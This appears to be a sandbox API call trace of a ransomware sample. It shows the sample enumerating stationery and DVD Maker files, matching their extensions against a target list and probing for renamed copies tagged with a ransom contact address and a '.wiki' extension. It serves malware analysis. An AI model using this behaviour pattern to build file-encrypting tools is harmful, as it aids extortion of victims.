[0149.444] lstrlenW (lpString=".jpg") returned 4 [0149.444] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.445] lstrcmpiW (lpString1=".jpg", lpString2=".wiki") returned -1 [0149.445] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0149.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0149.685] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=6406) returned 1 [0149.685] CloseHandle (hObject=0x2ac) returned 1 [0149.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0149.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.686] lstrlenW (lpString=".doc") returned 4 [0149.686] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0149.686] lstrlenW (lpString=".docx") returned 5 [0149.686] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0149.686] lstrlenW (lpString=".pdf") returned 4 [0149.686] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0149.686] lstrlenW (lpString=".xls") returned 4 [0149.686] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0149.686] lstrlenW (lpString=".xlsx") returned 5 [0149.686] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0149.686] lstrlenW (lpString=".ppt") returned 4 [0149.686] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0149.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.686] lstrlenW (lpString=".zip") returned 4 [0149.686] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0149.686] lstrlenW (lpString=".rar") returned 4 [0149.686] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0149.686] lstrlenW (lpString=".bz2") returned 4 [0149.686] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0149.686] lstrlenW (lpString=".7z") returned 3 [0149.686] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0149.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.687] lstrlenW (lpString=".dbf") returned 4 [0149.687] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0149.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.687] lstrlenW (lpString=".1cd") returned 4 [0149.687] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0149.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.687] lstrlenW (lpString=".jpg") returned 4 [0149.687] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0149.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.687] lstrlenW (lpString=".doc") returned 4 [0149.687] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0149.687] lstrlenW (lpString=".docx") returned 5 [0149.687] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0149.687] lstrlenW (lpString=".pdf") returned 4 [0149.687] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0149.687] lstrlenW (lpString=".xls") returned 4 [0149.687] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0149.687] lstrlenW (lpString=".xlsx") returned 5 [0149.687] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0149.687] lstrlenW (lpString=".ppt") returned 4 [0149.687] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0149.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.687] lstrlenW (lpString=".zip") returned 4 [0149.687] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0149.687] lstrlenW (lpString=".rar") returned 4 [0149.687] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0149.687] lstrlenW (lpString=".bz2") returned 4 [0149.687] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0149.688] lstrlenW (lpString=".7z") returned 3 [0149.688] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0149.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.688] lstrlenW (lpString=".dbf") returned 4 [0149.688] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0149.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.688] lstrlenW (lpString=".1cd") returned 4 [0149.688] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0149.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0149.688] lstrlenW (lpString=".jpg") returned 4 [0149.688] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0149.688] lstrcmpiW (lpString1=".htm", lpString2=".wiki") returned -1 [0149.688] lstrlenW (lpString="Hand Prints.htm") returned 15 [0149.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0149.689] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=235) returned 1 [0149.689] CloseHandle (hObject=0x2ac) returned 1 [0149.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0149.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.689] lstrlenW (lpString=".doc") returned 4 [0149.689] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0149.689] lstrlenW (lpString=".docx") returned 5 [0149.689] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0149.689] lstrlenW (lpString=".pdf") returned 4 [0149.689] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0149.689] lstrlenW (lpString=".xls") returned 4 [0149.689] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0149.690] lstrlenW (lpString=".xlsx") returned 5 [0149.690] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0149.690] lstrlenW (lpString=".ppt") returned 4 [0149.690] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0149.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.690] lstrlenW (lpString=".zip") returned 4 [0149.690] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0149.690] lstrlenW (lpString=".rar") returned 4 [0149.690] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0149.690] lstrlenW (lpString=".bz2") returned 4 [0149.690] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0149.690] lstrlenW (lpString=".7z") returned 3 [0149.690] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0149.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.690] lstrlenW (lpString=".dbf") returned 4 [0149.690] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0149.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.690] lstrlenW (lpString=".1cd") returned 4 [0149.690] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0149.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.690] lstrlenW (lpString=".jpg") returned 4 [0149.690] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0149.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.690] lstrlenW (lpString=".doc") returned 4 [0149.690] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0149.690] lstrlenW (lpString=".docx") returned 5 [0149.690] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0149.690] lstrlenW (lpString=".pdf") returned 4 [0149.690] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0149.690] lstrlenW (lpString=".xls") returned 4 [0149.690] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0149.690] lstrlenW (lpString=".xlsx") returned 5 [0149.690] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0149.691] lstrlenW (lpString=".ppt") returned 4 [0149.691] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0149.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.691] lstrlenW (lpString=".zip") returned 4 [0149.691] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0149.691] lstrlenW (lpString=".rar") returned 4 [0149.691] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0149.691] lstrlenW (lpString=".bz2") returned 4 [0149.691] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0149.691] lstrlenW (lpString=".7z") returned 3 [0149.691] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0149.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.691] lstrlenW (lpString=".dbf") returned 4 [0149.691] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0149.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.691] lstrlenW (lpString=".1cd") returned 4 [0149.691] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0149.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0149.691] lstrlenW (lpString=".jpg") returned 4 [0149.691] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0149.691] lstrcmpiW (lpString1=".jpg", lpString2=".wiki") returned -1 [0149.691] lstrlenW (lpString="HandPrints.jpg") returned 14 [0149.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.884] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4222) returned 1 [0149.884] CloseHandle (hObject=0x308) returned 1 [0149.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0149.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.885] lstrlenW (lpString=".doc") returned 4 [0149.885] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0149.885] lstrlenW (lpString=".docx") returned 5 [0149.885] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0149.885] lstrlenW (lpString=".pdf") returned 4 [0149.885] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0149.885] lstrlenW (lpString=".xls") returned 4 [0149.885] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0149.885] lstrlenW (lpString=".xlsx") returned 5 [0149.885] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0149.885] lstrlenW (lpString=".ppt") returned 4 [0149.885] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0149.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.885] lstrlenW (lpString=".zip") returned 4 [0149.885] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0149.885] lstrlenW (lpString=".rar") returned 4 [0149.885] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0149.885] lstrlenW (lpString=".bz2") returned 4 [0149.885] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0149.885] lstrlenW (lpString=".7z") returned 3 [0149.885] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0149.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.885] lstrlenW (lpString=".dbf") returned 4 [0149.885] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0149.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.885] lstrlenW (lpString=".1cd") returned 4 [0149.885] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0149.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.885] lstrlenW (lpString=".jpg") returned 4 [0149.885] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0149.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.886] lstrlenW (lpString=".doc") returned 4 [0149.886] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0149.886] lstrlenW (lpString=".docx") returned 5 [0149.886] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0149.886] lstrlenW (lpString=".pdf") returned 4 [0149.886] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0149.886] lstrlenW (lpString=".xls") returned 4 [0149.886] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0149.886] lstrlenW (lpString=".xlsx") returned 5 [0149.886] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0149.886] lstrlenW (lpString=".ppt") returned 4 [0149.886] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0149.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.886] lstrlenW (lpString=".zip") returned 4 [0149.886] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0149.886] lstrlenW (lpString=".rar") returned 4 [0149.886] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0149.886] lstrlenW (lpString=".bz2") returned 4 [0149.886] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0149.886] lstrlenW (lpString=".7z") returned 3 [0149.886] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0149.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.886] lstrlenW (lpString=".dbf") returned 4 [0149.886] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0149.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.886] lstrlenW (lpString=".1cd") returned 4 [0149.886] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0149.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0149.886] lstrlenW (lpString=".jpg") returned 4 [0149.886] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0149.887] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0149.887] lstrlenW (lpString="highlight.png") returned 13 [0149.887] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0149.990] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1545) returned 1 [0149.990] CloseHandle (hObject=0x2b4) returned 1 [0149.990] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png")) returned 0x20 [0149.990] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.990] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.990] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.990] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.990] lstrlenW (lpString=".doc") returned 4 [0149.990] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0149.990] lstrlenW (lpString=".docx") returned 5 [0149.990] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0149.990] lstrlenW (lpString=".pdf") returned 4 [0149.990] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0149.990] lstrlenW (lpString=".xls") returned 4 [0149.990] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0149.990] lstrlenW (lpString=".xlsx") returned 5 [0149.990] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0149.990] lstrlenW (lpString=".ppt") returned 4 [0149.990] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0149.990] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.990] lstrlenW (lpString=".zip") returned 4 [0149.990] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0149.990] lstrlenW (lpString=".rar") returned 4 [0149.990] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0149.990] lstrlenW (lpString=".bz2") returned 4 [0149.990] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0149.991] lstrlenW (lpString=".7z") returned 3 [0149.991] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0149.991] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.991] lstrlenW (lpString=".dbf") returned 4 [0149.991] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0149.991] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.991] lstrlenW (lpString=".1cd") returned 4 [0149.991] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0149.991] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.991] lstrlenW (lpString=".jpg") returned 4 [0149.991] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0149.991] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.991] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.991] lstrlenW (lpString=".doc") returned 4 [0149.991] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0149.991] lstrlenW (lpString=".docx") returned 5 [0149.991] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0149.991] lstrlenW (lpString=".pdf") returned 4 [0149.991] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0149.991] lstrlenW (lpString=".xls") returned 4 [0149.991] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0149.991] lstrlenW (lpString=".xlsx") returned 5 [0149.991] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0149.991] lstrlenW (lpString=".ppt") returned 4 [0149.991] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0149.991] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.991] lstrlenW (lpString=".zip") returned 4 [0149.991] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0149.991] lstrlenW (lpString=".rar") returned 4 [0149.991] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0149.991] lstrlenW (lpString=".bz2") returned 4 [0149.991] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0149.991] lstrlenW (lpString=".7z") returned 3 [0149.992] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0149.992] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.992] lstrlenW (lpString=".dbf") returned 4 [0149.992] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0149.992] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.992] lstrlenW (lpString=".1cd") returned 4 [0149.992] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0149.992] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0149.992] lstrlenW (lpString=".jpg") returned 4 [0149.992] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0149.992] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0149.992] lstrlenW (lpString="notes-static.png") returned 16 [0149.992] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0150.135] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1369) returned 1 [0150.135] CloseHandle (hObject=0x320) returned 1 [0150.135] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png")) returned 0x20 [0150.135] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0150.135] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.136] lstrlenW (lpString=".doc") returned 4 [0150.136] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0150.136] lstrlenW (lpString=".docx") returned 5 [0150.136] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0150.136] lstrlenW (lpString=".pdf") returned 4 [0150.136] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0150.136] lstrlenW (lpString=".xls") returned 4 [0150.136] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0150.136] lstrlenW (lpString=".xlsx") returned 5 [0150.136] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0150.136] lstrlenW (lpString=".ppt") returned 4 [0150.136] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0150.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned 69 [0150.136] lstrlenW (lpString=".zip") returned 4 [0150.136] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0150.136] lstrlenW (lpString=".rar") returned 4 [0150.136] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 